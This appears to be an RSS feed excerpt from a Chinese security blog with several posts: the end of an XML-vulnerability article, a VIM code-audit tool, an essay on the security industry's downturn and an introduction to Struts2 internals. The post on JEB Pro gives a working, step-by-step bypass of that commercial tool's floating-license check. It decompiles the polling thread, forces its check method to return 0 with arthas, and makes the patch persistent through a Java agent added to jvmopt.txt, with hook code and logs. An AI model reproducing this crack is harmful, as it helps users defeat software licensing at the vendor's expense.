目前 XMP 已经成为了一个 ISO 标准(16684-1:2012)，因此使用范围广泛。对于我们的安全研究而言，尝试在不同的文件中插入携带 XML payload 的 XMP 数据也是一种值得尝试的攻击方式。

后记

XML，一个简单的文本文档格式，却涵盖了从 DoS、XSS、XXE、SSRF 到 RCE 等常见的漏洞风险。除了常规的 XML 请求如 SOAP，我们还可以将普通的表单或者 JSON 转换成 XML 进行测试；另外除了一些广为人知的 XML 文件如 SVG、DOCX 等，还有许多潜在的元数据会以 XML 的形式存储，比如在 PDF、PNG、JPG、MP4 等文件中都有以 XMP 形式存在的 XML 数据，以此我们也能管窥 XML 格式的使用范围之广泛，因此对 XML 相关的风险进行深入理解对于安全攻防而言也是至关重要的。

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/06/02/xml-vulnerabilities/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> Java 应用安全之 JEB Floating License 绕过 https://evilpan.com/2024/05/03/java-agent/ Fri, 03 May 2024 12:40:00 +0800 evilpan https://evilpan.com/2024/05/03/java-agent/ 最近一朋友单位采购了 JEB Pro 用于 Android 逆向，但使用的是 Floating License，因此只能在公司内网中使用。这样一来朋友在节假日就没法卷了，于是找到了我看有没有兴趣研究一下。虽然笔者之前搞过一段时间 Java 逆向，但那主要针对 Android 应用，对于 PC 应用那是大姑娘坐花轿 —— 头一回。本着学习新知识的心态，就接下了这个任务。

前言

以防有朋友不了解，JEB 是一个逆向工程工具，主要用于 Android APK 的逆向分析，针对 smali 字节码反编译的功能类似于 JADX，但是也支持对 SO 等二进制程序的逆向分析。

一般来说 JEB Pro 采用订阅机制，根据使用的机器进行收费，一机一密。但对于企业而言通常采用浮动授权，即 Floating License，允许一个或者多个不固定的机器同时使用。JEB floating controller 是官方用于运行在服务端的私有浮动授权服务器，其本质上是一个 HTTP 服务器，运行后直接访问会显示授权信息。

float
JEB Floating Controller

客户端则需要在 jeb-client.cfg 中配置 .ControllerInterface 和 .ControllerPort 等信息，或者在启动 JEB Pro 的时候填入服务端地址，从而实现授权。

逆向分析

对于静态分析而言，和 Android 应用中的静态分析流程基本一致，都是拖到 JADX 中然后搜索某些关键字，比如授权失败的提示信息，或者配置的信息。

首先我们将授权服务的地址指定为 127.0.0.1:23477，然后用 NC 监听该地址，启动后很快收到了请求：

Listening on 0.0.0.0 23477
Connection received on localhost 52330
POST /probe HTTP/1.1
User-Agent: PNF Software UP
Content-Type: application/x-www-form-urlencoded
Content-Length: 189
Host: 127.0.0.1:23477
Connection: Keep-Alive
Accept-Encoding: gzip

data=5400000035E5...

可见 JEB Pro 和浮动授权服务器是通过 HTTP 请求进行通讯的。

$ zipgrep /probe bin/app/jeb.jar
grep: (standard input): binary file matches

直接搜索请求的路径 /probe，可以定位到下面的代码：

/* loaded from: jeb.jar:com/pnfsoftware/jebglobal/ga.class */  
public class ga {  
    private static String nz = cns.nz("1150...");  
    private static String Fj = cns.nz(new byte[]{117, 90, 69, 74, 69}, 2, 120);  
    private Net jU;  
    private String Fx;  
    private int tQ;  
    private String Fh;  
  
    public ga(Net net, String str, int i, int i2) {  
        if (net == null) {  
            throw new IllegalArgumentException();  
        }  
        if (str == null || str.isEmpty()) {  
            throw new IllegalArgumentException("Controller Interface is not set");  
        }  
        if (i <= 0 || i >= 65535) {  
            throw new IllegalArgumentException("Illegal Controller Port value must be between 0 and 65535");  
        }  
        this.jU = net;  
        this.Fx = str;  
        this.tQ = i;  
        Object[] objArr = new Object[3];  
        objArr[0] = i2 == 1 ? "https" : NetProxyInfo.TYPE_HTTP;  
        objArr[1] = str;  
        objArr[2] = Integer.valueOf(i);  
        this.Fh = Strings.ff("%s://%s:%d/probe", objArr);  
    }
    // ...
    public String nz(String str) {  
        return JebNet.post(this.jU, this.Fh, str);  
    }  
  
    public void Fj(String str) {  
        JebNet.post(this.jU, this.Fh, str);  
    }
}

看起来像是通过的 JebNet.post 发送请求的。接下来有两个策略，一是继续静态分析不断查看交叉应用来来定位请求发送点，二是使用动态分析来验证该处是否确实被调用。懒人首选必然是后者。

动态分析

说起动态分析就有点怀念移动端常用的 frida 了。针对 Android 应用可以通过 hook 某些特定函数去检查参数、调用栈，并且对参数和返回值进行修改。理论上 frida 在 PC 端也是可以使用的，但是只支持了一部分版本的 OpenJDK，实测笔者的 JDK 17 支持并不是很好。

由于前一段时间研究过 Java Web 应用，那时用得最多的工具要数 arthas 了。这是一个阿里巴巴开源的线上 Java 诊断利器，基于 JVMTI 注入应用，避免了调试器中断的繁琐流程。该工具使用 ASM 来动态修改 Java 字节码，不同于 frida 基于二进制的注入，ASM 对于 JDK 而言有很高的兼容性。

由于 arthas 使用 OGNL 作为表达式，因此对于 hook 的过滤和修改也具备很强的灵活性。关于其具体的使用方法可以参考官方文档，这里就不再赘述了。

直接使用 as.sh 指定 JEB 的进程 ID，然后 hook JebNet.post 方法，查看调用堆栈：

[arthas@70354]$ stack com.pnfsoftware.jeb.client.JebNet post params.length==3
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 2) cost in 53 ms, listenerId: 4
ts=2024-04-02 13:21:06;thread_name=Thread-9;id=1a;is_daemon=true;priority=5;TCCL=jdk.internal.loader.ClassLoaders$AppClassLoader@531d72ca
    @com.pnfsoftware.jeb.client.JebNet.post()
        at com.pnfsoftware.jebglobal.ga.nz(SourceFile:71)
        at com.pnfsoftware.jebglobal.aW.jU(SourceFile:194)
        at com.pnfsoftware.jebglobal.aW.run(SourceFile:81)
        at java.lang.Thread.run(Thread.java:833)

果然是这里，核心的 jU 方法如下：

/* loaded from: jeb.jar:com/pnfsoftware/jebglobal/aW.class */  
public class aW implements Runnable {
    private long jU() {  
        Fg Fj2;  
        try {  
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
            LEDataOutputStream lEDataOutputStream = new LEDataOutputStream(byteArrayOutputStream);  
            lEDataOutputStream.writeInt(0);  
            lEDataOutputStream.writeLong(this.sM);  
            lEDataOutputStream.writeLong(this.Pm);  
            lEDataOutputStream.close();  
            String nz2 = this.Fh.nz(Fg.nz(Fg.nz(te.Fj(), byteArrayOutputStream.toByteArray(), new int[1])));  
            if (nz2 == null || (Fj2 = Fg.Fj(Fg.nz(nz2.trim()))) == null) {  
                return -1L;  
            }  
            this.fR = Fj2.tQ();  
            LEDataInputStream lEDataInputStream = new LEDataInputStream(new ByteArrayInputStream(Fj2.dv()));  
            if (lEDataInputStream.readInt() != 1) {  
                return -1L;  
            }  
            return lEDataInputStream.readLong();  
        } catch (Exception e) {  
            nz.catching(e);  
            return -1L;  
        }  
    }
    // ...
}

aW 这个类本身是个 Runnable，是使用一个额外的线程进行启动的，这里请求被调用的地方如下：

  
    @Override // java.lang.Runnable  
    public void run() {  
        int i = 0;  
        int i2 = 0;  
        boolean z = false;  
        while (true) {  
            long jU2 = jU();  
            try {  
                if (jU2 == 0 || jU2 == 2) {  
                    if (jU2 == 2 && !z) {  
                        nz.warn(cns.nz(new byte[]{26, 54, 26, 7, 82, 106, 15, 7, 98, 67, 15, 5, 12, 11, 26, 84, 73, 26, 83, 79, 3, 8, 1, 23, 82, 84, 28, 9, 15, 78, 84, 28, 13, 69, 67, 12, 1, 26, 6, 29, 3, 0, 9, 23, 82, 89, 22, 26, 85, 65, 19, 23, 69, 67, 12, 1, 0, 11, 6, 23, 17, 1, 68, 84, 27, 78, 1, 116, 59, 79, 65, 23, 25, 6, 13, 68, 85, 27, 11, 29, 8, 21, 6, 23, 17, 1, 68, 66, 7, 13, 9, 23, 31, 6, 29, 94, 12, 89, 22, 26, 85, 83, 27, 7, 26, 25, 8, 68, 85, 5, 20, 5, 21, 17, 69, 89, 22, 26, 7, 82, 83, 28, 9, 18, 3, 22, 19, 23}, 1, 67), new Object[0]);  
                        z = true;  
                    }  
                    if (i != 0 || i2 != 0) {  
                        nz.warn(...);  
                    }  
                    i = 0;  
                    i2 = 0;  
                } else {  
                    nz.warn(...);  
                    boolean z2 = false;  
                    if (jU2 <= -1) {  
                        i++;  
                        if (i >= 3) {  
                            z2 = true;  
                        }  
                    } else {  
                        z2 = true;  
                    }  
                    if (z2) {  
                        //...
                        nz.info("trycnt=%d", Integer.valueOf(i3));  
                        AbstractContext.terminate();  
                    }  
                }  
                Thread.sleep(10000L);  
            } catch (InterruptedException unused2) {  
                return;  
            }  
        }

简单来说：

  1. 这个线程会一直循环执行，且每隔 10 秒执行一次；
  2. 当 jU 的返回结果不为 0 时，且到达了最大的重试次数后，会发送失败事件，并关闭 JEB；
  3. 弹窗相关的文字以及日志信息是经过加密的，即 cns.nz 方法，猜测主要是为了防止黑客搜索关键字。不过并没有对所有字符串都进行加密，所以我们还是能搜到 HTTP 路径信息；

Patch

这里的 patch 思路就很多了，我们可以直接把线程 nop 掉，也可以只针对请求的地方，这里我们选择后者。

patch 方案也有几种，一是直接修改 class 字节码，不过这个流程相对复杂。我们可以先使用 arthas 生成 Java 代码，然后修改反编译的 Java 代码后重新进行编译、加载，如下所示：

jad --source-only com.pnfsoftware.jebglobal.aW > /tmp/aW.java
# 修改 aW.java jU 方法返回 0
# 重新编译
mc /tmp/aW.java
# 加载
redefine com/pnfsoftware/jebglobal/aW.class

如果想要进行持久化，那么只需要将 jeb.jar 解压并替换掉 aW.class 重新打包即可。

Java Agent

虽然重打包可以修改原始的程序代码逻辑，但却对原始代码进行了修改，jar 包的签名也进行了改变。如果目标程序本身有完整性校验很可能被检测出来。更好的方法就是使用 Java Agent 去对目标代码进行动态修改，即使用 JVM 本身的 -javaagent 参数注入一个 jar 去动态修改原始程序逻辑(或者通过动态 attach 的方式)。arthas 本身和常用的 RASP 都是基于这个原理。

关于 Java Agent 可以参考官方的文档，对于开发者而言只需要关注几个重点：

  1. 编译的 agent jar 通过 -javaagent:agent.jar 的方式进行指定，可以在程序启动之前加载；
  2. agent.jar 中需要再 Manifest 指定 Premain-Class，指定的类包含 premain 方法，会在启动时被 JVM 调用；

一个示例 Agent 如下所示：

public class Agent {

    public static void log(String fmt, Object ...args) {
        System.out.printf("[agent] " + fmt + "\n", args);
    }

    public static void premain(String agentArgs, Instrumentation inst) {
        log("premain called.");
        if (!inst.isRetransformClassesSupported()) {
            log("Class retransformation is not supported.");
            return;
        }

        HookTransformer.replace(inst, "com.pnfsoftware.jebglobal.aW", "jU",
        """
        {
            System.out.println("[agent-hook] skip check.");
            return 0;
        }
        """);
    }

}

HookTransformer 是笔者写的一个粗糙的 ClassFileTransformer 实现。主要使用 javassist 动态生成字节码，并覆写 transform 方法替换目标 Class 的字节码，从而修改目标方法的实现。

完整的代码可以参考 HookAgent，为了方便以后每次逆向破解新项目的时候不用频繁编译，将待劫持的类名、方法名和方法体使用参数进行传递，同时将修改后的方法体保存在新文件中。

基于上述 HookAgent.jar，修改 JEB 自带的命令行参数 jvmopt.txt 即可实现注入：

cat jvmopt.txt
-Xmx16G --add-opens java.base/java.lang=ALL-UNNAMED -Xverify:none -javaagent:HookAgent.jar=className=com.pnfsoftware.jebglobal.aW;methodName=jU;methodImplFile=hook.js

随后启动 JEB 观察日志可以看到 agent 成功注入，并且 agent 的日志也每隔 10 秒输出一次：

./jeb_linux.sh
OpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.
[agent] premain enter, agentArgs=className=com.pnfsoftware.jebglobal.aW;methodName=jU;methodImplFile=hook.js
[agent] Parsing hook options from agentArgs: className=com.pnfsoftware.jebglobal.aW;methodName=jU;methodImplFile=hook.js
[agent] Reading methodImpl from hook.js
[agent] Loaded com.pnfsoftware.jebglobal.aW->jU: {
    System.out.println("[agent-hook] skip check: " + new java.util.Date());
    return 0;
}
...
[agent] CtMethod: javassist.CtMethod@31736c[private jU ()J]
[agent] byteCode size: 5899
[agent] Hooked: com.pnfsoftware.jebglobal.aW->jU
[I] JEB 5.12.xxx (jeb-pro-floating) is starting...
[I] Memory Usage: 44.1M used (475.9M free, 16.0G max)
[agent] transform: com.pnfsoftware.jebglobal.aW->jU
[agent-hook] skip check: Thu May 02 20:15:49 CST 2024
[agent-hook] skip check: Thu May 02 20:15:59 CST 2024

这里是将循环检查的方法返回值固定成了 0，但实际上可以选择的点很多，比如直接 hook 这个 Runnable 的 run 方法也是可以的。

总结

本文主要以 JEB Floating License 的校验过程为例，学习了 Java PC 客户端应用的一般分析方法。在反编译和逆向分析的基础上，配合动态调试或者 Arthas 等动态分析框架，可以快速找到目标执行路径。随后可以使用静态重打包或者 Java Agent 动态注入的方式去实现代码逻辑修改的持久化，从而实现“破解”的效果。

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/05/03/java-agent/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> 使用 VIM 进行代码审计 https://evilpan.com/2024/04/27/audit-with-vim/ Sat, 27 Apr 2024 12:40:00 +0800 evilpan https://evilpan.com/2024/04/27/audit-with-vim/ 作为一个安服仔，代码审计是一项必备的技能。说好听点是 code review，说直白点就是看代码。说起代码审计这件事，大家都比较关注 source、sink、漏洞模式，而对于代码审计的工具却谈及甚少。因此，本文就来抛砖引玉，谈谈笔者自己的经验。

写在前面

看代码和写代码有很大的一点不同，后者通常对于准确的代码补全是刚需，而看代码往往只需要跳转定义、交叉引用等一些基本功能。对于大部分人而言，看代码和写代码的一个相同之处就是使用 IDE 来看。

具体代码审计的习惯往往是因人而异的。有的人喜欢用 JetBrains 看，有的人喜欢用 VSCode 看，有的人喜欢用 SourceInsight 看，还有的人喜欢用 Notepad++ 来看。

此外，有一些通过本地构建代码索引并从浏览器阅读代码的方案，比如：

而对于一些大型的代码工程，通常官方或者社区也构建了一些在线的代码阅读网站，比如：

各种阅读代码的方法都有它们的优点，笔者大部分也都尝试过，但大部分时间还是喜欢用 VIM 来看。即便切换到其他 IDE，也习惯性先装个 VIM Binding 插件，总感觉不用 HJKL 移动就难受。

虽然笔者是 VIM 爱好者，但并不排斥其他的 IDE。对于一些依赖完整的项目，比如 Java Maven 工程，也会优先使用 IDEA 去进行阅读，充分利用现代 IDE 的语言支持。

示例

VIM 的好处在于其本身只是一个文本编辑器，而不是完整的 IDE。很多时候我们审计的代码只是一些零散的 Broken Code，比如泄露的 iBoot 源码、某些 Jar 包反编译出来的代码等，面对这些代码很多 IDE 都无法做到完整的语言支持，进而也退化成了一个只能依赖 Ctrl+F 的文本编辑器，既然如此还不如选择自己喜欢的。

如图是最近刚放出来的 MS-DOS 4.0 的源代码，虽然都是汇编，但使用 VIM 依然可以识别出大部分的符号，并且很方便搜索跳转：

MS-DOS
MS-DOS 4.0 源码

后文会简单介绍一下实现的细节。

设计思路

作为一个笔者自用的代码审计小工具，一开始就有比较简单的设计目标：

  1. 主要在 macOS 和 Linux 桌面环境和命令行环境使用，支持在服务器中使用；
  2. 支持大部分 VIM 衍生应用，比如 NEOVIM、VIM-GTK、MacVIM 等，支持自定义快捷键；
  3. 支持对大部分编程语言构建索引方便跳转，对于冷门的语言也支持快速的搜索功能；
  4. 实现对漏洞扫描工具输出的集成，比如 semgrep、CodeQL 以及 SARIF 的支持；

对于前两个目标，我们只需要实现一个简单的 VIM 插件，并使用环境变量去触发这些快捷键的开启。因为代码审计本身大都只需要在“只读”模式下，因此很多 VIM 的编辑命令可以腾出来用作其他功能。

对于语言支持，目前选用的是 ctags 和 cscope 卧龙凤雏两兄弟。尽管年代久远，但实际效果还是不错的，许多商业工具实际上也是在此基础上进行优化。

对于工具集成，主要使用的是 VIM 的 quickfix 功能，即前面图片中下方区域。只需要针对特定工具的输出定义 errorformat 即可显示。然后使用快捷键映射 cnext/cprev 可以快速的在结果中进行跳转。

要实现上面的功能，我们首选需要引入一些社区中的优秀插件作为依赖：

如果只需要模糊搜索的支持，也可以引入神器 FZF：

  • Plug ‘junegunn/fzf’
  • Plug ‘junegunn/fzf.vim’

以及一些常用的 SHELL 命令行工具：

  • ctags - Universal Ctags；
  • cscope - 查找代码定义，符号；
  • ripgrep - Rust 实现的 grep 搜索；
  • fzf - 模糊搜索；

通常使用 ctags 和 cscope 构建索引的过程如下：

cd src
ctags --fields=+l

find . -name "*.c" -o -name "*.cpp" -o -name "*.h" > cscope.files
cscope -b -q -k

不过这会在源码目录生成 .tags 和 cscope.out 等索引文件。虽然我们可以指定在其他地方生成数据库，但是每次都执行一遍总归是比较繁琐，因此笔者写了一个简单的 Python 脚本用于管理代码对应的数据库。

由于数据库保存到非标准的位置，那么就需要在 VIM Script 中指定对应的 cscope 和 ctags 路径，顺便也就定义一些快捷键了。

这么一来二去，也就有了这个项目：audit.vim。

audit.vim

该项目定义为一个基于 VIM 的轻量级的代码审计工具，为了尊重每个人不同的快捷键习惯，因此采用了自定义安装的方式，即只需将 plugin/audit.vim 放到 $HOME/.vim/plugin 中，额外的插件可以根据个人需求进行安装，比如使用 VimPlug 的可以直接把 Plug 写到自己的 vimrc 中。

配套的 avim.py 脚本用于管理代码的索引文件：

$ avim.py -h
usage: avim.py [-h] [-g] {make,rm,info,open,lv} ...

lightweight code audit system with vim

positional arguments:
  {make,rm,info,open,lv}
                        sub actions
    make                create new audit session from current directory
    rm                  remove audit session
    info                show info of audit sessions
    open                vim wrapper to open files
    lv                  live grep without tags and cscope

options:
  -h, --help            show this help message and exit
  -g                    use gvim instead of vim

索引文件统一放在 $HOME/audit.vim 目录中，防止污染目标源码。同时 open 会以 READ-ONLY 模式打开 VIM 并设置好对应的 ctags 和 cscope 路径。目前为了防止审计超大型代码时候引入过多的无效文件，使用的是文件后缀白名单模式。虽然在 tag 生成方面可能有所遗漏，但搜索还是全量的，在实践中效果还算不错。

如果你平时审计过程中有沉淀过一些漏洞模式，比如 semgrep 规则，那么可以很容易使用 AsyncRun 的方式去进行快速扫描和漏洞验证，感兴趣的可以自行尝试。

linux.png

最后

好了这就是本期灌水的所有内容了，你们一般都习惯用什么方式来进行代码审计呢，快点在评论区跟小编一起聊聊吧！(逃

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/04/27/audit-with-vim/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> 寒冬下的安全研究 https://evilpan.com/2024/02/10/winter-is-here/ Sat, 10 Feb 2024 12:40:00 +0800 evilpan https://evilpan.com/2024/02/10/winter-is-here/ 七月在野，八月在宇，九月在户，十月蟋蟀入我床下。——《国风·豳风·七月》

不知不觉已经三个月没有更新博客了。其实技术文档一直在更新，不过由于各种原因一直躺在私有的 Obsdian 仓库里。要么是因为保密的原因不便公开，要么是自我感觉没有新意不值一提。回想起早些年刚接触网络安全的时候，对什么方向都充满激情，充满好奇，只要能学到一点新知识就会写篇博客进行记录和分享。现在动笔就要考虑颇多，已经少了很多当年的乐趣。

凛冬的寒风

众所周知今年的经济环境欠佳，寒气已经确实地传递给了每一个人。笔者作为某甲方企业的安全研究岗，也逐渐感受到了氛围的变化。说起安全研究，很多人以为是挖漏洞、写利用，其实研究包括很多方面。《黑客与画家》中说到，“优秀的设计不一定是新的，但一定是好的；优秀的研究不一定是好的，但一定是新的”。所以安全研究也会极力探索前言新兴的领域，比如可信计算、区块链、星链等等，这也曾经是笔者的部分研究内容。

这样的研究方向可想而知在以盈利为目标的企业中处于多么尴尬的境地。在经济环境欣欣向荣的时候，大家都一起高歌猛进，开疆拓土，也倒不会注意到我们这部分“闲人”。毕竟安全研究产出的论文、安全比赛或者国际安全会议议题也确实在一定程度上提升了企业的安全感。

随着经济环境下行，企业也逐渐开始关注起了人力资源的效率。“岗位称重”、“收紧队形”、“逃逸平庸的重力”，等等一系列金句被提出，字里行间确切地透露出一股寒气。

群鸦的盛宴

对于大多数企业而言，都是“业务先行，安全兜底”。尤其是在经济环境萧条的情况下，保持盈利、维持现金流是很多企业的要务之一。但其实不论在什么阶段，只要企业还在正常运转，就一定需要安全团队的支撑。加上国家监管对于企业安全的硬性要求，不到万不得已，一般也不会对安全岗位动刀。

不过，在这个时代什么事情都有可能发生。一方面企业可能出于侥幸心理削减了安全团队，另一方面则是出于简单的利益权衡——出事之后的损失加监管的处罚支出，小于供养安全团队的成本，那么在线上裸奔也是划算的。大不了加强一下法务和公关团队，只要把提出问题的人消灭掉，那就没有问题了。

在这种情况下，流失的安全团队成员对企业愤愤然，既存的安全从业者也人心惶惶。不管红队蓝队，都不免做出“一颗红心，两手准备”的规划。也许在阳光下大家还觉得一切稳中向好，但地下早已经暗流涌动，技术攻防的复杂度和专业度也不断地水涨船高。

qax.jpg

来源: 奇安信威胁情报中心: 揭秘LIVE勒索软件利用IP-Guard漏洞的技战术

相比于早年使用 QQ 号留名或是用微信支付来收赎金的脚本小子，现今新闻中爆出的网络恶性事件背后出现了更多的专业技术人员身影，也许未来很长一段时间将会是国内赛博空间的常态。

魔龙的狂舞

当然，这只是一般安全从业者可能卷入的情境。对于安全研究员而言，情况又有所不同。首先研究方向脱虚向实，太超前的研究就不鼓励投入了。于是部分研究员又回到了老本行 —— 挖漏洞。不管是企业内部漏洞还是外部竞对、HW 漏洞，都是看得见摸得着的“产出”。另一方面，对于安全研究员自身而言，挖漏洞本身也是自己在职业中立足的一种重要方式。

早期许多甲方企业乐意供养着安全实验室去进行研究，企业得名，员工得利，皆大欢喜。随着寒气入体，老板们渐渐发现徒得虚名好像也没什么大用，Pwnnie Awards？听起来还不如 Gartner “领军者” 霸气呢！于是天x杯也不建议参加了，Blackhat 的机票也不报销了，安全研究员也要开始研究起自己的饭碗了。

或主动或被动，企业中安全研究终究会调整重心，要么为业务保驾护航，要么就直接躬身下场接客，把自己变成商业化的业务。这其中免不了会有人心生不满，毕竟大家都不喜欢变化。从前拿 bounty 讲议题还有公司的激励，现今 bounty 要抽水议题要自费还要担心被网信办鉴定为间谍。因此，一部分优秀的研究员就开启了 Anonymous 之路，以匿名的方式提交漏洞报告；另一部分就经常对着某logo 是纸飞机的社交软件交流。

毕竟安全研究员能卖的就只有 0day 了。如果遇到靠谱的中间人牵线搭桥，一些危险的 0day 也许能找到它们合适的归宿，某种程度上还为国家安全做出了贡献；倘若遇人不淑，也有可能流入到敌对势力，出现不愿看到的受害者，同时也将自己至于危险的境地。

当然，买卖漏洞是不对的，而且是非法的。但是昔日极客变成了骇客，昔日的勇者变成了恶龙，谁又有能力去限制它们呢？

初春的遐想

最后我想引用一句俗套的话：“道路是曲折的，前途是光明的”。现在确实是行业的寒冬，但冬天总会过去，春天终将到来。在当前，作为安全研究员也许暂时脱离了一线研究，但依然可以在安全行业中磨练基本功，同时也不要失去对未知的好奇和热情，也许在脱离企业的场景也能更好地审视自己的选择以及研究方向的价值。

在这里我也想呼吁有关部门能够真正重视网络安全建设，让更多白帽子和安全从业人员能够通过合法、正常的渠道发光发热，真正为社会和国家的网络安全做出贡献。同时，我希望有一天中国也能够开展类似于 hack DoD 的众测项目，也希望中国的 NSA 主任也能够以幽默的方式回复我的微博调侃，而不是直接被来总夹掉。

nsa.jpg

当然，这也只是遐想罢了。

LINKS

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/02/10/winter-is-here/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> 初探 Struts2 框架安全 https://evilpan.com/2023/11/01/struts2-internal/ Wed, 01 Nov 2023 08:40:00 +0800 evilpan https://evilpan.com/2023/11/01/struts2-internal/

最近分析 confluence 的漏洞，发现是基于 Struts 框架的，其中有很多相关知识点并不了解，因此专门来学习一下 Struts 2。

背景

在网上一搜 Struts 2 资料发现介绍漏洞的文章比介绍开发的还多，少数开发者的声音也是 “Struts 过时了吗？” 之类的疑问，事实上这个框架也确实是过时了，现在Java Web 开发早已是 Spring 全家桶一统江山的局面。但我们也不能不承认曾经 Struts 的地位。Struts2 + Spring + Hibernate 三大框架在当年组合号称 SSH，对 Java Web 应用生态产生了深远的影响，以至于现在有许多知名应用中还有 Struts 的影子。

因此，即便 Struts 已经日薄西山，对于 Java 安全研究者而言也是需要深入了解的目标，就像二进制研究员需要理解 “过时” 的 jmp esp 栈溢出利用方法一样。

Struts 101

分析 Struts 内部细节之前我们先从开发的角度看 Struts 应用的基本构建和使用过程。

在 Struts 官网中提供了对应的开发文档，如 Getting Start。同时也提供了具体的代码示例。

值得一提的是 Struts 的文档还提供了针对开发者的一些预备知识，见 Key Technologies Primer。其中包括了许多 JavaEE 的基本知识，想当初刚出门 Java 的时候要是能看到这份文档估计能少走不少弯路。

Struts 应用也是一个 JavaEE 应用，因此同样基于 Servlet API。有趣的是它不像 Spring 等其他 Web 框架将功能插入到 Servlet 中(DispatchServlet)，而是插入到 Filter 中，如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_ID" version="2.4"
	xmlns="http://java.sun.com/xml/ns/j2ee" 
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
	<display-name>Basic Struts2</display-name>
	<filter>
		<filter-name>struts2</filter-name>
		<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
	</filter>

	<filter-mapping>
		<filter-name>struts2</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>

	<welcome-file-list>
		<welcome-file>index</welcome-file>
	</welcome-file-list>
</web-app>

插入的 StrutsPrepareAndExecuteFilter 同样也可以实现接管所有请求的目的。在接管所有请求后，使用 struts.xml 作为 Struts 自身的路由映射配置，一个简单的示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
    "http://struts.apache.org/dtds/struts-2.5.dtd">

<struts>

    <constant name="struts.devMode" value="true" />

    <package name="basicstruts2" extends="struts-default">
        <action name="index">
            <result>/index.jsp</result>
        </action>
    </package>

</struts>

注意该文件保存在 src/main/resources 中，类似于 log4j2.xml。上述配置指定 /index、/index.action 都会被路由到 index.jsp 上。

看 Struts 的示例代码可以很明显的 MVC 设计风格，以 helloworld 为例，其中包含一个 Controller，又称为 Action:

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

    private MessageStore messageStore;

    public String execute() {
        messageStore = new MessageStore() ;
        
        return SUCCESS;
    }

    public MessageStore getMessageStore() {
        return messageStore;
}

Action 中通常包含具体的数据源，比如上面的 MessageStore (POJO)，这个数据源即是 Model。在 struts.xml 中指定 Action 的路由，并链接到具体的 JSP 上，此为 View 部分:

<action name="hello" class="org.apache.struts.helloworld.action.HelloWorldAction" method="execute">
    <result name="success">/HelloWorld.jsp</result>
</action>

如果没有指定，会默认访问 execute 返回值对应的 JSP，如 WEB-INF/content/hello-success.jsp。

<result> 标签表示如果 HelloWorldAction.execute 返回 “success” (即 Action.SUCCESS)，就将结果映射到 HelloWorld.jsp 上。

至此，Model-View-Controller 三要素都全了，访问 /hello 后即可进入到 Action 准备好数据，绑定到 JSP 的上下文中并根据需要渲染出来，HelloWorld.jsp 如下:

<!DOCTYPE html>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    <h2><s:property value="messageStore.message" /></h2>
  </body>
</html>

其中使用 JavaBean 风格的表达式获取获取具体的属性 messageStore.message，其背后访问的是 Java 对象的 getter 方法。

内部实现

接下来我们深入到 Struts 的内部实现中。先粘贴一个经典的图片:

img

前面我们说过，Struts 应用的 web.xml 会添加一个 Filter StrutsPrepareAndExecuteFilter，因此用户请求进来的时候是依照 FilterChain 的顺序依次调用注册的 Filter，直到 Struts 的 Filter。随后从左边开始，Struts 会将请求的 URL 转换为对应的 ActionProxy 去进行调用，这里有一步使用 ConfiguarationManager 去加载我们的配置 struts.xml，这里可能意味着一次懒加载，我们后文再根据实际的代码去分析。

调用 ActionProxy 的时候，会在开发者实际定义的 Action 前后依次调用 Interceptor，实现诸如过滤参数、打印日志、记录请求时间等操作。可以看到这里的架构设计还是很优雅的，开发者也可以定义和注册自己的 Interceptor 去实现鉴权等业务逻辑。

大致的调用流程就是这样，接下来我们通过代码去分析具体的调用逻辑。由于代码比较多，我们需要有的放矢，因此主要聚焦于 Struts 的调用逻辑实现、路由查找等关键功能。

如无特别说明，本文所涉及代码都基于 struts2-core-6.2.0 版本。

首先看详细的调用流程。我们可以从 StrutsPrepareAndExecuteFilter 的 doFilter 开始，也可以直接在 Controller 打个断点去至顶向下分析。不过我们这里用另一个方法, 在设置应用 struts.devMode=true 的情况下，访问一个不存在的 URL 会返回带调用栈的出错信息，如下所示:

com.opensymphony.xwork2.DefaultActionProxy.prepare(DefaultActionProxy.java:183)
org.apache.struts2.factory.StrutsActionProxy.prepare(StrutsActionProxy.java:57)
org.apache.struts2.factory.StrutsActionProxyFactory.createActionProxy(StrutsActionProxyFactory.java:32)
com.opensymphony.xwork2.DefaultActionProxyFactory.createActionProxy(DefaultActionProxyFactory.java:60)
org.apache.struts2.dispatcher.Dispatcher.createActionProxy(Dispatcher.java:694)
org.apache.struts2.dispatcher.Dispatcher.prepareActionProxy(Dispatcher.java:679)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:642)
org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.handleRequest(StrutsPrepareAndExecuteFilter.java:157)
